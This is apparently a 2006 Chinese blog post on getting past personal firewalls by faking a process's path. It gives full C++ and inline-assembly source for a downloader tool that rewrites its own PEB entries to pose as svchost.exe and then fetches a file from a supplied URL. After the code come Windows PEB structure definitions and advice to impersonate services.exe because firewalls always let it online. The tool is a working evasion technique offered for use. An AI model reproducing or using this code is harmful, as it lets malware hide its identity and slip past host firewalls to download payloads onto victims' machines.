防火牆普遍存在的設計缺陷--關於進程路徑的獲取 收藏
// fuckdown.cpp : Defines the entry point for the console application.
//
// [9/19/2006 RonCha]
#include "stdafx.h"
#include <urlmon.h>
#pragma comment(lib,"urlmon.lib")
char szpath[MAX_PATH]=...{0};
OLECHAR path[MAX_PATH]=...{0};
void ChangPath();
int main(int argc, char* argv[])
...{
//修改路徑
ChangPath();
if (argc==3)
...{
if (argv[1]!="" && argv[2]!="")
...{
HRESULT hRet=URLDownloadToFileA(NULL,argv[1],argv[2],NULL,NULL);
if(hRet==S_OK)
printf(" Down Success! ");
else
printf(" Can't down the file! ");
return 1;
}
}
printf("Author:RonCha ");
printf("Web:http://blog.csdn.net/RonCha ");
printf("Usage:fuckdown.exe downurl savepath ");
return 0;
}
void ChangPath()
...{
//將該進程僞裝爲svchost.exe
int slen;
slen=GetSystemDirectory(szpath,MAX_PATH);
slen=GetSystemDirectory(szpath,slen);
lstrcat(szpath,"/svchost.exe");
//轉化爲Unicode字符
MultiByteToWideChar(CP_ACP,NULL,szpath,-1,path,MAX_PATH);
__asm
...{
MOV EAX, fs:[30h] //get the PEB address
MOV EAX, [EAX+0xC] //_PEB_LDR_DATA
MOV EAX, [EAX+0xC] //InLoadOrderModuleList
lea ebx,path
mov WORD ptr[EAX+0x24],0x60 //FullDllName->Length
mov [EAX+0x28],ebx //FullDllName->Buffer
MOV EAX, fs:[30h]
mov EAX,[EAX+0x10] //peb->_RTL_USER_PROCESS_PARAMETERS
lea EAX,[EAX+0x3c] //_RTL_USER_PROCESS_PARAMETERS ->ImagePathName->Buffer
lea ebx,path
mov [eax],ebx //ImagePathName->Buffer
mov WORD ptr[eax-4],0x60 //ImagePathName->Length
MOV EAX, fs:[30h]
mov EAX,[EAX+0x10] //peb->_RTL_USER_PROCESS_PARAMETERS
lea eax,[EAX+0x44] //_RTL_USER_PROCESS_PARAMETERS -> CommandLine->Buffer
lea ebx,path
mov [eax],ebx //CommandLine-->Buffer
mov WORD ptr[eax-4],0x60 //CommandLine-->Length
}
}
另從邪惡八進制獲得:
PEB(Process Environment Block)——進程環境塊,存放進程信息,每個進程都有自己的 PEB 信息。在 Win 2000 下,進程環境塊的地址對於每個進程來說是固定的,在 0x7FFDF000 處,這是用戶區內存,所以程序能夠直接訪問。準確的 PEB 地址應從系統的 EPROCESS 結構的 1b0H 偏移處獲得,但由於 EPROCESS 在進程的核心內存區,所以程序不能直接訪問。還可以通過 TEB 結構的偏移 30H 處獲得 PEB 的位置,代碼如下:
mov eax,fs:[18]
mov eax,[eax+30]
PEB 及其相關結構如下:
typedef void (*PPEBLOCKROUTINE)(PVOID PebLock);
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef struct _RTL_DRIVE_LETTER_CURDIR {
USHORT Flags;
USHORT Length;
ULONG TimeStamp;
UNICODE_STRING DosPath;
} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;
typedef struct _PEB_LDR_DATA {
ULONG Length;
BOOLEAN Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
typedef struct _LDR_MODULE {
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_MODULE, *PLDR_MODULE;
typedef struct _RTL_USER_PROCESS_PARAMETERS {
ULONG MaximumLength;
ULONG Length;
ULONG Flags;
ULONG DebugFlags;
PVOID ConsoleHandle;
ULONG ConsoleFlags;
HANDLE StdInputHandle;
HANDLE StdOutputHandle;
HANDLE StdErrorHandle;
UNICODE_STRING CurrentDirectoryPath;
HANDLE CurrentDirectoryHandle;
UNICODE_STRING DllPath;
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
PVOID Environment;
ULONG StartingPositionLeft;
ULONG StartingPositionTop;
ULONG Width;
ULONG Height;
ULONG CharWidth;
ULONG CharHeight;
ULONG ConsoleTextAttributes;
ULONG WindowFlags;
ULONG ShowWindowFlags;
UNICODE_STRING WindowTitle;
UNICODE_STRING DesktopName;
UNICODE_STRING ShellInfo;
UNICODE_STRING RuntimeData;
RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20];
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
typedef struct _PEB_FREE_BLOCK {
struct _PEB_FREE_BLOCK *Next;
ULONG Size;
} PEB_FREE_BLOCK, *PPEB_FREE_BLOCK;
typedef struct _PEB {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
BOOLEAN Spare;
HANDLE Mutant;
PVOID ImageBaseAddress;
PPEB_LDR_DATA LoaderData;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PVOID FastPebLock;
PPEBLOCKROUTINE FastPebLockRoutine;
PPEBLOCKROUTINE FastPebUnlockRoutine;
ULONG EnvironmentUpdateCount;
PVOID *KernelCallbackTable;
PVOID EventLogSection;
PVOID EventLog;
PPEB_FREE_BLOCK FreeList;
ULONG TlsExpansionCounter;
PVOID TlsBitmap;
ULONG TlsBitmapBits[0x2];
PVOID ReadOnlySharedMemoryBase;
PVOID ReadOnlySharedMemoryHeap;
PVOID *ReadOnlyStaticServerData;
PVOID AnsiCodePageData;
PVOID OemCodePageData;
PVOID UnicodeCaseTableData;
ULONG NumberOfProcessors;
ULONG NtGlobalFlag;
BYTE Spare2[0x4];
LARGE_INTEGER CriticalSectionTimeout;
ULONG HeapSegmentReserve;
ULONG HeapSegmentCommit;
ULONG HeapDeCommitTotalFreeThreshold;
ULONG HeapDeCommitFreeBlockThreshold;
ULONG NumberOfHeaps;
ULONG MaximumNumberOfHeaps;
PVOID **ProcessHeaps;
PVOID GdiSharedHandleTable;
PVOID ProcessStarterHelper;
PVOID GdiDCAttributeList;
PVOID LoaderLock;
ULONG OSMajorVersion;
ULONG OSMinorVersion;
ULONG OSBuildNumber;
ULONG OSPlatformId;
ULONG ImageSubSystem;
ULONG ImageSubSystemMajorVersion;
ULONG ImageSubSystemMinorVersion;
ULONG GdiHandleBuffer[0x22];
ULONG PostProcessInitRoutine;
ULONG TlsExpansionBitmap;
BYTE TlsExpansionBitmapBits[0x80];
ULONG SessionId;
} PEB, *PPEB;
PEB 結構中的 PPEB_LDR_DATA 是一個指向 PEB_LDR_DATA 的指針,PEB_LDR_DATA 結構中有 3 個 LIST_ENTRY 的指針,分別是 InLoadOrderModuleList; InMemoryOrderModuleList; InInitializationOrderModuleList,如此循環。可以通過這三個 LIST_ENTRY 結構來遍歷進程加載的模塊。LDR_MODULE 結構中的 FullDllName 成員便是一個包含模塊名信息的 UNICODE_STRIN 結構,它的成員 Buffer 即是指向存放模塊名的 UNICODE 字符串指針。還有要注意的是,RTL_USER_PROCESS_PARAMETERS 結構中的 ImagePathName.Buffer 和 LoaderData->InLoadOrderModuleList.Flink->FullDllName.Buffer 指向的其實是同一內存。
在 Windows 2000 下,枚舉系統進程的方法無外乎通過 Tool Help 函數,或是 PSAPI 函數。這兩類函數雖然接口不同,但最後還是通過調用 NTDLL.DLL 中導出的 NtQuerySystemInformation 函數來實現的。這些函數最終是通過 LDR_MODULE 中指向的那些模塊信息來實現進程和模塊名字查詢的。所以,只要修改 LDR_MODULE 指向的那些信息就能實現改變進程名或模塊名。注意那些字符串都是 unicode 形式的,改的時候別忘了。
這樣改過之後雖然能夠騙過 EnumProcessModules 和 Module32First、Module32Next 函數,但若使用 Process32Next、Process32First 函數,PROCESSENTRY32 結構中的 szExeFile 還是會如實的返回 EXE 文件名,如此一來,在“windows 任務管理器”裏就穿邦了,即便你改了 BaseDllName 也沒用。別急,當然還是有辦法改的。不知諸位有沒有注意到,用 Delphi 編譯出來的可執行文件,如果你沒改工程名的話,無論你怎麼改可執行文件的文件名,在“windows 任務管理器”中總是顯示“project1.exe”,具體什麼原理我也不清楚。哪位有興趣可以反彙編一下,看看具體是如何實現的,我的彙編功底太差了。 不過這樣就夠了,你可以做個試驗,用以上方法改變一個有上網請求的進程的 ImagePathName,然後看看防火牆有什麼反映。果然,被騙過去了。用這個方法就可以“穿透”防火牆了。 那具體應該改爲哪個程序名呢?在 windows 2000 下,C:/WINNT/system32/services.exe 負責DNS解析等任務,總是被允許上網的,所以改成“C:/WINNT/system32/services.exe”就可以了。